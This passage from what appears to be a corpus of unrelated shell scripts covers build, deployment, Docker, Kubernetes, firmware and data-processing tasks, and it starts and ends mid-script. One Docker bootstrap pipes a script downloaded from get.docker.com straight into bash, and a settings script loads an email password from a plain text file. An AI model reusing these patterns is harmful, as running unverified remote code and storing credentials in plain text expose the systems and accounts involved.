\"${FLITE_BUILD_DIR}\"\n\t\t\n\t\tflite_archive=\"${FLITE_BUILD_DIR}/${FLITE_ARCHIVE_NAM}\"\n\t\t\n\t\t# Download the `flight` file archive\n\t\tif ! [ -e \"${flite_archive}\" ];\n\t\tthen\n\t\t\twget \"${FLITE_ARCHIVE_URL}\" -O \"${flite_archive}\"\n\t\tfi\n\t\t\n\t\t# Verify the archive's integrity\n\t\techo \"${FLITE_ARCHIVE_MD5} ${flite_archive}\" | md5sum --check -\n\t\t\n\t\t# Extract the `flight` file archive\n\t\ttar -C \"${FLITE_BUILD_DIR}\" -xvf \"${flite_archive}\"\n\t\t\n\t\t# Patch `flight` configure script to work with newer versions of the NDK (10e – 11c tested)\n\t\tcd \"${flite_directory}\"\n\t\techo \"${FLITE_PATCH}\" | patch -p 1\n\t\tautoreconf\n\t\tcd \"${OLDPWD}\"\n\t\t\n\tfi\n\t\n\texport FLITEDIR=\"${flite_directory}\"\nfi\n\n# Build `flight` engine for all supported targets\ncd \"${FLITEDIR}\"\nfor arch in armeabi armeabiv7a x86 mips;\ndo\n\tif ! [ -e \"${FLITEDIR}/build/${arch}-android/lib/libflite.a\" ];\n\tthen\n\t\t./configure --with-langvox=android --target=\"${arch}-android\"\n\t\tmake -j4\n\tfi\ndone\ncd \"${OLDPWD}\"\n\n# Build the Android application package\nif [ $# -gt 0 ];\nthen\n\taction=\"${1}\"\n\tshift 1\nelse\n\taction=\"debug\"\nfi\nant \"${action}\" \"$@\""} {"text": "if test $# -ne 2\nthen\n echo \"sh $0 \" >&2\n exit\nfi\n\nftype=$1\ncol=$2\n\nn=`cat \"$ftype\"*.dat | wc -l`\n\nawk '{print $(col)}' col=$col \"$ftype\"*.dat \\\n | sort -g \\\n | awk '{print $1, NR/n}' n=$n"} {"text": "0\nANSIBLE_STDOUT_CALLBACK=debug ansible-playbook tukole_frontend.yml -i inventory/hosts.ini"} {"text": "bkasws/dex\n#!/bin/bash -x\n\nCOMPOSE_VERSION=\"1.23.2\"\nCOMPOSE_URL=\"https://github.com/docker/compose/releases/download/$COMPOSE_VERSION/docker-compose-$(uname -s)-$(uname -m)\"\n\ninstall_user_deploy() {\n sudo useradd -g users -s `which bash` -m deploy\n}\n\n# Opendax bootstrap script\ninstall_core() {\n sudo bash < /etc/docker/daemon.json\nEOS\n}\n\n# Docker installation\ninstall_docker() {\n curl -fsSL https://get.docker.com/ | bash\n sudo bash </dev/null 2>&1; then\n echo \"user deploy exists\"\nelse\n install_user_deploy\nfi\n\ninstall_core\nlog_rotation\ninstall_docker"} {"text": "#! /bin/bash\n\nPRGNAME=\"etc-shells\"\n\n### /etc/shells (login shell list)\n# Файл /etc/shells содержит список оболочек для входа в систему. Приложения\n# используют этот файл, чтобы определить, является ли оболочка действительной.\n\n# в файле /etc/profile мы изменили $PATH и этот файл уже установлен в систему\n# LFS, поэтому тест скрипта check_environment.sh в этой директории не будет\n# пройден. Проверим окружение явно:\nif [[ \"$(id -u)\" != \"0\" ]]; then\n echo \"Only superuser (root) can run this script\"\n exit 1\nfi\n\n# мы в chroot окружении?\nID1=\"$(awk '$5==\"/\" {print $1}' < /proc/1/mountinfo)\"\nID2=\"$(awk '$5==\"/\" {print $1}' < /proc/$$/mountinfo)\"\nif [[ \"${ID1}\" == \"${ID2}\" ]]; then\n echo \"You must enter chroot environment.\"\n echo \"Run 003_entering_chroot.sh script in this directory.\"\n exit 1\nfi\n\nROOT=\"/\"\n\nTMP_DIR=\"/tmp/pkg-${PRGNAME}\"\nrm -rf \"${TMP_DIR}\"\nmkdir -pv \"${TMP_DIR}/etc\"\n\nSHELLS=\"/etc/shells\"\n# оболочки записываются как полный путь к исполняемому файлу в отдельной строке\ncat << EOF > \"${TMP_DIR}${SHELLS}\"\n# Begin ${SHELLS}\n\n/bin/sh\n/bin/bash\n\n# End ${SHELLS}\nEOF\n\n/bin/cp -vR \"${TMP_DIR}\"/* /\n\ncat << EOF > \"/var/log/packages/${PRGNAME}\"\n# Package: ${PRGNAME} (login shell list)\n#\n# /etc/shells\n#\nEOF\n\nsource \"${ROOT}write_to_var_log_packages.sh\" \\\n \"${TMP_DIR}\" \"${PRGNAME}\""} {"text": "#!/bin/bash\n\n# Deletes devices from a GCP IoT registry.\n#\n# Usage:\n# ./createDevices.sh\n#\n# The deviceIds to delete are read from devicelist.csv in the ltk root directory.\n\nfunction info {\n echo \"LTK: $1\"\n}\n\nwhile IFS=',' read deviceId rest; do\n\n gcloud iot devices delete $deviceId \\\n --project=$LTK_TARGET_PROJECT_ID \\\n --region=$LTK_TARGET_REGION \\\n --registry=$LTK_TARGET_REGISTRY_ID \\\n --quiet\n\ndone < $LTK_ROOT/devicelist.csv\n\n# All the devices are deleted so delete this devicelist.\ninfo \"Devices deleted from GCP, deleting $LTK_ROOT/devicelist.csv\"\nrm $LTK_ROOT/devicelist.csv"} {"text": "particleman314/ShellLibrary1-10\n#!/usr/bin/env bash\n\nassert_not_empty \"${TEST_XML}\"\n\n__disable_xml_failure\n\nfieldpath='/base/level2/field1/subfield2/subsubfield2'\n\nanswer=$( xml_count_entries )\nassert_failure $?\nassert_false \"${answer}\"\n\nanswer=$( xml_count_entries --xmlfile \"${TEST_XML}\" )\nassert_failure $?\nassert_equals \"${answer}\" 0\n\nanswer=$( xml_count_entries --xpath \"${fieldpath}\" )\nassert_failure $?\nassert_equals \"${answer}\" 0\n\nanswer=$( xml_count_entries --xmlfile \"${TEST_XML}\" --xpath \"${fieldpath}\" )\nassert_success $?\nassert_equals \"${answer}\" 2\n\nfieldpath=\"/base/level2/field1/subfield2/subsubfield1\"\nanswer=$( xml_count_entries --xmlfile \"${TEST_XML}\" --xpath \"${fieldpath}\" )\nassert_success $?\nassert_equals \"${answer}\" 1\n\nfieldpath=\"/base/level2/field1/blah\"\nanswer=$( xml_count_entries --xmlfile \"${TEST_XML}\" --xpath \"${fieldpath}\" )\nassert_success $?\nassert_equals \"${answer}\" 0"} {"text": "UKCloud/webinars\n#!/bin/sh\n#\n\nyum -y install epel-release yum-plugin-priorities mariadb-server mariadb\n\nsystemctl enable mariadb.service\nsystemctl start mariadb.service\n\ncat > /tmp/schema.sql <<-EOF\nDATABASE_SCHEMA\nEOF\n\ncat /tmp/schema.sql | mysql"} {"text": "1-10\n# initialize the cluster\nsudo kubeadm init --pod-network-cidr=10.244.0.0/16\n\n# set config and permissions\nmkdir -p $HOME/.kube\nsudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config\nsudo chown azureuser:azureuser $HOME/.kube/config\n\n# apply the cni\nsudo kubectl apply -f /root/kube-flannel.yml"} {"text": "#!/bin/bash\ncd /src/esp/nina-fw\nexport PATH=/src/esp/xtensa-esp32-elf/bin:$PATH\nexport IDF_PATH=/src/esp/esp-idf\nmake firmware\ncp /src/esp/nina-fw/build/bootloader/bootloader.bin /src/build/\ncp /src/esp/nina-fw/build/phy_init_data.bin /src/build/\ncp /src/esp/nina-fw/build/nina-fw.bin /src/build/\ncp /src/esp/nina-fw/build/partitions.bin /src/build/\ncd -"} {"text": "Diffblue-benchmarks/Rabbitmq-rabbitmq-tutorials\n#!/bin/bash\n\nset -ex\n\nrm -rf ~/Library/Caches/org.carthage.CarthageKit\n\nfor tutdir in `ls | grep \"tutorial[1-9]\"`\ndo\n cd $tutdir\n carthage update --platform iOS\n cd ..\ndone"} {"text": "cognusion/go-jar\n#!/bin/bash\n\nNAME=jard\n\ngo build -o $NAME -ldflags \"-linkmode external -extldflags -static\"\n\n# Grab the version, per the build\nVERSION=`./${NAME} --version | perl -pe 's/\\n/\\t/g' | cut -f 1 | cut --delimiter=' ' -f 2`\n\necho\necho \"$NAME $VERSION...\"\n\nrm -f $NAME.zip\nrm -Rf builds/\nmkdir builds\ncp $NAME builds/\nzip -j $NAME.zip builds/*\n\nrm -Rf builds/"} {"text": "#!/bin/bash\n\n### g09td2csv\n### Script to obtain transition energies and intensities from Gaussian09 TD calculation\n### Export data in CSV (Comma-Separated Values)\n### Grupo de Espectroscopia Teórica e Modelagem Molecular - GETMM (IQ/UFRJ)\n### Author : \n\n###############################\n#### Variables Definitions ####\n###############################\n\n## Log complete filename with extension\nLogFile=$1\n\n###################\n#### Functions ####\n###################\n\n## CheckingInputFile function\nfunction CheckingInputFile {\nif [ -n \"$LogFile\" ]; then\n\tif [ ! -f \"$LogFile\" ]; then\n\t\techo -e \"\\033[01;31m$1 Gaussian09 log file was not found.\\033[00m\"\n\t\texit 1\n\tfi\nelse\n\techo -e \"Usage: g09td2csv [Gaussian09 log file]\"\n\texit 1\nfi\n\nif grep -q \"Normal termination of Gaussian 09\" \"$LogFile\"; then\n if grep -q \"Excited State\" \"$LogFile\"; then\t\t\n\t\tLogName=$(basename \"$LogFile\")\n\t\tLogName=\"${LogName%.*}\"\n fi\nelse\n\techo -e \"\\033[01;31mGaussian09 log aren't from TD type. End of script execution.\\033[00m\"\n\texit 1\nfi\n}\n\n## BuildingCSVfile function\nfunction BuildingCSVfile {\n\t# Obtaining TD data from log file\n\tgrep \"Excited State\" $LogFile |awk '{print $5}' > .energy.temp\n\tgrep \"Excited State\" $LogFile |awk '{print $9}'|cut -f 2 -d '=' > .oos.temp\n\t\n\t# Building CSV File\n\ttouch $LogName.td.csv\n\techo \"Transition Energy (eV),Oscillator Strength\" > $LogName.td.csv\n\tpaste -d \",\" .energy.temp .oos.temp >> $LogName.td.csv\n\n\t# Removing temporary files\n\trm -f .energy.temp .oos.temp\n}\n\n## FinishingScript function\nfunction FinishingScript {\n\techo -e \"\\033[01;32m$LogName.td.csv preview:\\033[00m\"\n\tcat $LogName.td.csv\n\techo -e \"\\033[01;32mg09td2csv was sucesfully executed.\\033[00m\"\t\n}\n\n#####################\n#### Main Script ####\n#####################\n\n## Checking Gaussian09 log file\nCheckingInputFile\n\n## Building CSV file\nBuildingCSVfile\n\n## Finishing script\nFinishingScript"} {"text": "#!/bin/bash\n\nset -e\n\nSCRIPTS_DIR=$(dirname \"${BASH_SOURCE[0]}\")\n\nexport HELM_NO_PREPARE=\"${HELM_NO_PREPARE:-0}\"\nif [[ \"$1\" == \"-f\" ]]; then HELM_NO_PREPARE=1; shift; fi\n\nif [ -z \"$1\" ]; then echo >&2 \"Release is required as the first argument\"; exit 1; fi\nif [ -z \"$2\" ]; then echo >&2 \"Namespace is required as the second argument\"; exit 1; fi\n\ntype schelm >/dev/null 2>&1 || { echo >&2 -e \"The 'schelm' command is required for this script to run.\\n\\n --> Installation: https://github.com/databus23/schelm\"; exit 1; }\n\n\"${SCRIPTS_DIR}/helm_prepare.sh\"\n\nRELEASE=\"$1\"\nNAMESPACE=\"${2}\"\n\necho >&2 -e \"\\n########## Dry run - Release: ${RELEASE} ########## \\n\"\n\nmkdir -p /tmp/schelm\n\nhelm upgrade \\\n \"${RELEASE}\" \\\n . \\\n --install \\\n --dry-run \\\n --namespace \"${NAMESPACE}\" \\\n -f \"values.${RELEASE}.yaml\" \\\n -f values.custom.yaml\n# | schelm -f /tmp/schelm/${RELEASE}\n\necho >&2 -e \"You can find the hydrated Kubernetes configuration files here: /tmp/schelm/${RELEASE}\""} {"text": "#!/usr/bin/env bash\n\nif [ ! -f target/scala-2.11/shoushiling_2.11-0.2.0-runnable.jar ]\nthen\n ./activator assembly\nfi\njava -jar target/scala-2.11/shoushiling_2.11-0.2.0-runnable.jar $1"} {"text": "#----------------------------------------------------------------------------#\n\n# Purpose: Master Settings\n# Author: CM\n# Date: Jan 2017\n# Language: Shell (.sh)\n\n#----------------------------------------------------------------------------#\n\n#----------------------------------------------------------------------------#\n# Settings #\n#----------------------------------------------------------------------------#\n\n\n# initialise [* DEFAULT]\n#-------------------------------------------------#\nexport execution_id=`date +%s`\necho $execution_id\n\nexport current_date=$(date +\"%m_%d_%Y\")\necho $current_date\n\nexport wd_path=$(pwd)\necho $wd_path\n\necho $PATH\n\n# directory settings\n#-------------------------------------------------#\n\n# directories [* DEFAULT SETTINGS]\nexport wd_path_helper=$wd_path\"/helper\"\nexport wd_path_data=$wd_path\"/data\"\nexport wd_path_helper=$wd_path\"/helper\"\nexport wd_path_log=$wd_path\"/log\"\nexport wd_path_code=$wd_path\"/code_base\"\nexport wd_path_TextToCode=$wd_path\"/TextToCode\"\n\nexport wd_path_output=$(cd $wd_path/../../../output; pwd)\nexport wd_path_interface=$(cd $wd_path/../../../interface; pwd)\n\n## data paths\nexport data_path_raw=$wd_path_data\"/raw_data\"\nexport data_path_temp=$wd_path_data\"/temp_data\"\nexport data_path_parsed=$wd_path_data\"/parsed_data\"\nexport data_path_structured=$wd_path_data\"/structured_data\"\nexport data_path_annotated=$wd_path_data\"/annotated_data\"\n\n## vb interface paths\nexport vb_path_input=$wd_path_interface\"/product_code_input\"\nexport vb_path_output=$wd_path_interface\"/product_code_output\"\nexport send_path=$wd_path_interface\"/send_order\"\n\n## error_paths\nexport error_path_ocr=$wd_path_data\"/error/ocr\"\nexport error_path_parsed=$wd_path_data\"/error/parse\"\n\n## archived paths\nexport data_path_archived_raw=$wd_path_data\"/archived_data/raw_data\"\nexport data_path_archived_parsed=$wd_path_data\"/archived_data/parsed_data\"\nexport data_path_archived_structured=$wd_path_data\"/archived_data/structured_data\"\nexport data_path_archived_annotated=$wd_path_data\"/archived_data/annotated_data\"\nexport data_path_archived_sent=$wd_path_data\"/archived_data/sent_data\"\nexport data_path_archived_error=$wd_path_data\"/archived_data/error\"\n\n## code paths\nexport init_path=$wd_path_code\"/helper_code\"\n\n## helper paths\nexport helper_path_keyword=${wd_path_helper}\"/product/master_keyword.xlsm\"\n\n## texttocode app\nexport app_name=`cat helper/TextToCode/app_version.txt`\nexport database_name=`cat helper/TextToCode/database_version.txt`\n\nexport TextToCode_app=$wd_path_TextToCode\"/\"$app_name\nexport TextToCode_database=$wd_path_TextToCode\"/\"$database_name\n\nexport TextToCode_input=$wd_path_TextToCode\"/input\"\nexport TextToCode_output=$wd_path_TextToCode\"/output\"\n\n# parsing settings [DEFAULT]\n#-------------------------------------------------#\n# export thorough_mode=\"FALSE\"\nexport thorough_mode=\"TRUE\"\n\n# email settings [DEFAULT]\n#-------------------------------------------------#\nexport email_sender=`cat helper/user_setting/email/email_sender.txt`\nexport email_text=`cat helper/user_setting/email/email_text.txt`\nexport email_pwd=`cat helper/user_setting/email/email_password.txt`\nexport email_address=`cat helper/user_setting/email/email_username.txt`\nexport email_cc_address=`cat helper/user_setting/email/email_cc_address.txt`\n\n# Cocoa Dialogue [DEFAULT]\n#-------------------------------------------------#\nexport CD=\"$wd_path/code_base/helper_code/CocoaDialog.app/Contents/MacOS/CocoaDialog\"\n\n# Excel [DEFAULT]\n#-------------------------------------------------#\nexport EXCEL=`cat helper/user_setting/excel/excel_path.txt`\n\n# PHP [DEFAULT]\n#-------------------------------------------------#\nexport PHP=\"/usr/local/php5/bin/php\"\nexport PHP_ini=\"/usr/local/php5/lib/php.ini\"\n\n\n#----------------------------------------------------------------------------#\n# End #\n#----------------------------------------------------------------------------#"} {"text": "vuejs-translations/ryu-cho\ngit clone https://github.com/vuejs-jp/ryu-cho.git"} {"text": "glenjamin/typescript-xunit-xml\n#!/bin/sh\n\ncat sample.txt | node main.js > actual.txt\nresult=$?\n\ngit diff --exit-code --no-index expected.txt actual.txt\ndiff=$?\n\nif [ \"$result\" != \"1\" ]; then\n echo \"Unexpected exit code $result. Expected 1\"\n exit 1\nfi\n\nif [ \"$diff\" != \"0\" ]; then\n echo \"Unexpected output diff\"\n exit 1\nfi"} {"text": "notes/ncat_note.sh0\n#!/bin/bash\n\nncat -l -U /tmp/gemini-btcusd.out -k --send-only < /tmp/gemini-btcusd.in"} {"text": "#!/bin/bash\n\nmoonbox_home_dir=\"$(cd \"`dirname \"$0\"`/..\"; pwd)\"\nif [ -f \"${moonbox_home_dir}/conf/moonbox-env.sh\" ]; then\n . \"${moonbox_home_dir}/conf/moonbox-env.sh\"\nfi\n\njava -cp $MOONBOX_HOME/libs/moonbox-repl_2.11-0.2.0-SNAPSHOT.jar moonbox.repl.Main \"$@\""} {"text": "ebilling/dd-trace-go\n#!/bin/sh\n\n#\n# Unless explicitly stated otherwise all files in this repository are licensed\n# under the Apache License Version 2.0.\n# This product includes software developed at Datadog (https://www.datadoghq.com/).\n# Copyright 2016 Datadog, Inc.\n#\n\n# Update the libddwaf to the latest GitHub release version.\n# Usage: ./update-libddwaf.sh\n#\n\nset -ex\n\nbindings_dir=$(readlink -f \"$(dirname $0)/..\")\n\necho Looking up for the latest GitHub release\n\nlatest_release=$(curl -s https://api.github.com/repos/DataDog/libddwaf/releases/latest)\nversion=$(jq -r '.tag_name') << EOF\n$latest_release\nEOF\n\necho Found libddwaf v$version\n\ntmpdir=$(mktemp -d /tmp/libddwaf-XXXXXXXX)\necho Using $tmpdir\n\nrun_binutils() {\n docker run -it --rm -v $bindings_dir:$bindings_dir -v $tmpdir:$tmpdir -w $PWD ghcr.io/datadog/binutils-gdb:2.37 $@\n}\n\nrun_strip() {\n run_binutils $1-strip --strip-dwo --strip-unneeded --strip-debug $2\n}\n\n#\n# darwin/amd64\n#\n\necho Updating libddwaf for darwin/amd64\ncurl -L https://github.com/DataDog/libddwaf/releases/download/$version/libddwaf-$version-darwin-x86_64.tar.gz | tar -xz -C$tmpdir\necho Copying the darwin/amd64 library\ncp -v $tmpdir/libddwaf-$version-darwin-x86_64/lib/libddwaf.a $bindings_dir/lib/darwin-amd64\nrun_strip x86_64-apple-darwin $bindings_dir/lib/darwin-amd64/libddwaf.a\n\n#\n# linux/amd64\n#\n\necho Updating libddwaf for linux/amd64\n# 1. Download the libddwaf build\ncurl -L https://github.com/DataDog/libddwaf/releases/download/$version/libddwaf-$version-linux-x86_64.tar.gz | tar -xz -C$tmpdir\n# 2. Download the libc++ build\nlibcxx_dir=$tmpdir/libc++-x86_64-linux\nmkdir $libcxx_dir\ncurl -L https://github.com/DataDog/libddwaf/releases/download/$version/libc++-static-x86_64-linux.tar.gz | tar -xz -C$libcxx_dir\n# 3. Combine libddwaf.a + libc++.a + libc++abi.a + libunwind.a in a single\n# object file by using ld -r\nrun_binutils x86_64-linux-gnu-ld \\\n -r -o $bindings_dir/lib/linux-amd64/libddwaf.a \\\n --require-defined=ddwaf_init \\\n --require-defined=ddwaf_get_version \\\n --require-defined=ddwaf_destroy \\\n --require-defined=ddwaf_context_init \\\n --require-defined=ddwaf_result_free \\\n --require-defined=ddwaf_context_destroy \\\n --require-defined=ddwaf_required_addresses \\\n $tmpdir/libddwaf-$version-linux-x86_64/lib/libddwaf.a $libcxx_dir/libc++.a $libcxx_dir/libc++abi.a $bindings_dir/lib/linux-amd64/libunwind_linux_amd64.a #$libcxx_dir/libunwind.a\n# 4. Strip\nrun_strip x86_64-linux-gnu $bindings_dir/lib/linux-amd64/libddwaf.a\n\n#\n# ddwaf.h\n# Note that we arbitrarily take it from the linux/amd64 archive as it does not\n# depend on the target.\n#\necho Updating ddwaf.h\ncp -v $tmpdir/libddwaf-$version-linux-x86_64/include/ddwaf.h $bindings_dir/include"} {"text": "#!/usr/bin/env bash\n\n# name of current dir\nNAME=$(basename \"$PWD\")\n\npodman run -v \"$(pwd):/root/$NAME\":Z -w \"/root/$NAME\" -it \"$@\"\n# -t -- allocate TTY\n# -i -- keep STDIN open\n\n# running podman/docker is not trivial and not convenient - need to be aware\n# to :z :Z flags to volumes, -it flags to execute commands in the shell, need\n# to understand how share/unshare works if container specifies USER directive\n#\n# `runin-podman.sh` tries to address some problems with that\n#\n# [ ] you can not reentry the container if you quit\n# [x] current directory is not mounted by default (with necessary :Z flag for Fedora)\n# [x] container is not interactive be default\n# [ ] there is no default image\n#\n# all these problem are addressed by https://github.com/containers/toolbox but\n# it also add a serious security issue\n#\n# [x] `toolbox` makes the whole HOME directory r/w accessible\n#\n# that means SSH keys are readable, setup / test scripts can mess with\n# dotfiles. while the `toolbox` may be useful for OS developers, who need to\n# test package installation and rollback, it is not secure enough to run\n# random projects from GitHub in isolation"} {"text": "# Bump version number & build\nVERSION=$(cat VERSION | perl -pe 's/^((\\d+\\.)*)(\\d+)(.*)$/$1.($3+1).$4/e' | tee VERSION)\ndocker build -t jdallen/apcups:$VERSION -t jdallen/apcups:latest ."} {"text": "perl $SHALLOW_PARSER_BEN/bin/sys/common/printinput.pl $1 > vibhakticomputationinput$$\nperl $SHALLOW_PARSER_BEN/bin/sl/vibhakticomputation/vibhakticomputation.pl --path=$SHALLOW_PARSER_BEN/bin/sl/vibhakticomputation --input=vibhakticomputationinput$$\nrm -fr vibhakticomputationinput$$"} {"text": "#!/usr/bin/env bash\n\n# Get location of script\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1 && pwd )\"\n\n# Go to data folder\ncd $DIR/../data\n\n# Download gaussian_input_files.tar.gz\nwget -O gaussian_input_files.tar.gz https://osf.io/v8awm/download"} {"text": "#!/bin/sh\nsudo ifconfig wlan0 up\nsudo iwconfig wlan0 essid robocup ap any\n#sudo dhclient wlan0\nsudo ip route add 192.168.1.0/24 via 192.168.123.1"} {"text": "0\n#!/usr/bin/env bash\n\nset -e\n\ncurl https://cache.agilebits.com/dist/1P/op/pkg/$VERSION/op_linux_amd64_$VERSION.zip --output op.zip\nunzip op.zip\nsudo mv op /usr/local/bin/op\nrm op.*"} {"text": "Otus-DevOps-2019-08/quotms_infra\n#!/bin/bash\n\npackages=(\n ruby-full\n ruby-bundler\n build-essential\n)\n\napt update\n\nfor i in \"${packages[@]}\"\ndo\n apt install -y $i\ndone"} {"text": "#!/bin/bash\n\nset -euo pipefail\ntag_name=$1\n\necho \"Docker login\"\necho \"$DOCKER_PASSWORD\" | docker login -u \"$DOCKER_USERNAME\" --password-stdin;\n\necho \"Pushing to Docker-hub, generated from branch $TRAVIS_BRANCH\";\ndocker build -f docker/Dockerfile -t gnosispm/dex-open-solver:$tag_name .;\ndocker push gnosispm/dex-open-solver:$tag_name;\necho \"The image has been pushed\";"} {"text": "#!/usr/bin/env bash\n\nif [ \"$(id -u)\" -ne \"$(id -u znc)\" ]; then\n\tprintf 'Please run as znc!\\n' ; exit 1\nfi\n\nCONF='/srv/znc/.znc/configs/znc.conf'\nPID=\"$(pgrep -u znc znc)\"\n\nif [ -z \"$1\" ]; then\n echo -e \"Usage: $(basename \"$0\") [username]\" ; exit 1\nfi\n\nif grep -Fxq \"\" \"$CONF\"; then\n echo -e \"znc user \\\"$1\\\" already exists\" ; exit 1\nfi\n\nsed -e \"s/NEWUSER/$1/g\" /srv/znc/newuser.conf.template >> \"$CONF\"\n\n[ -n \"$2\" ] && kill -s HUP \"$PID\"\n\nexit 0"} {"text": "#!/bin/bash\n\n. ./build.sh\n\nTEST_CMD=\"\ncd /zeromq-4.0.4/perf\n./local_thr tcp://lo:5555 1 10000000 &\n./remote_thr tcp://localhost:5555 1 10000000\nsleep 1\nwait\n./local_thr tcp://lo:5555 10 1000000 &\n./remote_thr tcp://localhost:5555 10 1000000\nsleep 1\nwait\n./local_thr tcp://lo:5555 100 100000 &\n./remote_thr tcp://localhost:5555 100 100000\nsleep 1\nwait\n./local_thr tcp://lo:5555 1000 10000 &\n./remote_thr tcp://localhost:5555 1000 10000\nwait\nsleep 1\n./local_thr tcp://lo:5555 10000 1000 &\n./remote_thr tcp://localhost:5555 10000 1000\nwait\nsleep 1\n./local_thr tcp://lo:5555 100000 100 &\n./remote_thr tcp://localhost:5555 100000 100\nwait\n\"\n\n. ../test.inc"} {"text": "fossabot/DynMatchcompile_withcmake.sh\n#!/bin/bash\n\nNCORES=4\nunamestr=`uname`\nif [[ \"$unamestr\" == \"Linux\" ]]; then\n NCORES=`grep -c ^processor /proc/cpuinfo`\nfi\n\nif [[ \"$unamestr\" == \"Darwin\" ]]; then\n NCORES=`sysctl -n hw.ncpu`\nfi\n\n\nrm -rf deploy\nrm -rf build\nmkdir build\ncd build\ncmake ../ -DCMAKE_BUILD_TYPE=Release\nmake -j $NCORES\ncd ..\n\nmkdir deploy\ncp ./build/dynmatch deploy/\ncp ./build/conver* deploy/\nrm -rf build"} {"text": "#!/bin/bash\nset -x\n\n# Network post-configuration actions that should be run on every boot should be appended here\n# Used by net-postconfig systemd service\n\nroute_table_cfg_file=\"/etc/vmware/route-tables.cfg\"\n\n# Appends an entry to the route-table service's config file.\n# Input values:\n# - 1 Routing Table ID\n# - 2 Routing Table Name = Network/Interface Name\n# - 3 Interface MAC\n# - 4 Gateway IP (If unset, assumes acquired using DHCP)\nwriteRouteTableConfig() {\n id=\"${1}\"\n network=\"${2}\"\n mac=\"${3}\"\n gateway=\"${4}\"\n if [ \"${gateway}\" == \"\" ] || [ \"${gateway}\" == \"null\" ]; then\n # Assume DHCP. Get it from DHCP lease file.\n ifindex=$(cat \"/sys/class/net/${network}/ifindex\")\n gateway=$(grep ROUTER \"/var/run/systemd/netif/leases/${ifindex}\" | cut -d= -f2)\n if [ \"${gateway}\" == \"\" ] || [ \"${gateway}\" == \"null\" ]; then\n return 0\n fi\n fi\n ip=$(ip -4 address show \"${network}\" | grep 'scope global' | awk '{print $2}')\n # Set default gateway route if not already set in route-tables.cfg.\n default_gw_route=\"${id},${network},${mac},${ip},${gateway}\"\n if ! grep -Fxq \"$default_gw_route\" \"$route_table_cfg_file\"; then\n echo \"$default_gw_route\" >> \"$route_table_cfg_file\"\n fi\n\n # Set linked scope route if not already set in route-tables.cfg.\n linked_scoped_route=\"${id},${network},${mac},${ip}\"\n if ! grep -Fxq \"$linked_scoped_route\" \"$route_table_cfg_file\"; then\n echo \"$linked_scoped_route\" >> \"$route_table_cfg_file\"\n fi\n}"} {"text": "ouid=\"pi\"\nnuid=\"pi001\"\n/usr/sbin/usermod -l ${nuid} ${ouid}\n[ -h /home/pi ] && /bin/rm /home/pi\n/usr/sbin/usermod -d /home/${nuid} -m ${nuid}\n/usr/sbin/groupmod -n ${nuid} ${ouid}\n/bin/sed -E -i \"s/^${ouid} /${nuid} /\" /etc/sudoers.d/010_pi-nopasswd\n/bin/sed -E -i \"s/--autologin ${ouid} /--autologin ${nuid} /\" /etc/systemd/system/autologin@.service\n/bin/sed -E -i \"s/autologin-user=${ouid}$/autologin-user=${nuid}/\" /etc/lightdm/lightdm.conf\n/bin/sed -i \"s/:${ouid};/:${nuid};/\" /etc/polkit-1/localauthority.conf.d/60-desktop-policy.conf\nif [ ${nuid} = \"pi\" ]; then\n : # do nothing\nelse\n if [ ! -e /home/pi ]; then\n /bin/ln -s /home/${nuid} /home/pi\n fi\nfi\n[ -f /var/spool/cron/crontabs/${ouid} ] && /bin/mv /var/spool/cron/crontabs/${ouid} /var/spool/cron/crontabs/${nuid}\n[ -f /var/spool/mail/${ouid} ] && /bin/mv /var/spool/mail/${ouid} /var/spool/mail/${nuid}\n[ -e /etc/rc.local.backup ] && /bin/cp /etc/rc.local.backup /etc/rc.local && /bin/rm /etc/rc.local.backup && /sbin/reboot\nexit 0"} {"text": "jeremyschlatter/vaccine-feed-ingest\n#!/usr/bin/env bash\n\n#\n# Fetch stage should retrieve raw data from external source and store it unmodified\n#\n\nset -Eeuo pipefail\n\noutput_dir=\"\"\n\nif [ -n \"${1}\" ]; then\n output_dir=\"${1}\"\nelse\n echo \"Must pass an output_dir as first argument\"\nfi\n\n### Replace the following with your implementation ###\n\necho \"Fetching into ${output_dir}\"\ntouch \"${output_dir}/data.geojson\""} {"text": "#!/bin/bash\n# Script for creating TeraChem inputs.\n# Called within script RecalcGeometries.sh\n# We need two arguments: input geometry and name of the input file\n\n# SETUP #################################\ncharge=0 # molecular charge\nspin=1 # molecular spin\nnumstates=8\nmem=1500Mb # memory in G09 job\nbasis=6-31+g*\nmethod=b3lyp\n#----------------------------------------\n\n# For typical TERA jobs, don't modify anything below.\ngeometry=$1\noutput=$2\nnum_gpu=$3 \nnatom=$(head -1 $1 | awk '{print $1}')\npath=$(pwd)\n\ncat $geometry > $output.xyz\n\ncat > $output.ground.in << EOF\n\nbasis $basis\nmethod $method\ncharge $charge\nspinmult $spin\nmaxit 100\nxtol 1e-3\nthreall 1e-12\nconvthre 1.0e-6\ndftgrid 1\ngpus $num_gpu\nrun energy\nnstep 100\ncoordinates $path/$output.xyz\n\npcm cosmo\npcm_grid iswig\npcmgrid_heavy 17\npcmgrid_h 17\nepsilon 2.28\npcm_radii bondi\ncosmo_rad_scale 1.2\nsolvent_radius 0\ndynamiccg 3\ncgprecond blockjacobi3\ncgblocksize 100\npcm_write $path/$output.groundfield.bin #Please note, that Terachem reads all letters as lowercase \nend\n\nEOF\n\nlet spin2=spin+1\nlet charge2=charge+1\n\ncat > $output.ss.in << EOF\n\nbasis $basis\nmethod u$method\ncharge $charge2\nspinmult $spin2\nmaxit 100\nxtol 1e-3\nthreall 1e-12\nconvthre 1.0e-6\ndftgrid 1\ngpus $num_gpu\nrun energy\ncoordinates $path/$output.xyz\n\n#CIS related\ncis yes\ncisnumstates $numstates\ncismaxiter 100\ncistarget 1\n\n#PCM related\n#most important keywords\npcm \t\tcosmo\npcm_grid \t\tiswig\nss_pcm_solvation \tground_neq\nsspcm_convthre \t1e-6\nepsilon \t2.28\nfast_epsilon \t1.776\npcm_read \t\t$path/$output.groundfield.bin #Please note, that Terachem reads all letters as lowercase \n\t\n#other PCM keywords (same as their default values.\n#List explicitly here as examples of what could be specified\npcmgrid_heavy 17\npcmgrid_h 17\npcm_radii bondi\ncgprecond blockjacobi\nend\n\nEOF"} {"text": "FaniD/SecureWilly1-10\n#!/bin/bash\n\n#Load the AppArmor profiles for services in the list below\nservice_list=(cloudsuitemedia-streamingserver cloudsuitemedia-streamingclient cloudsuitemedia-streamingdataset)\nfor SERVICE in \"${service_list[@]}\"; do\n\tsudo apparmor_parser -r -W 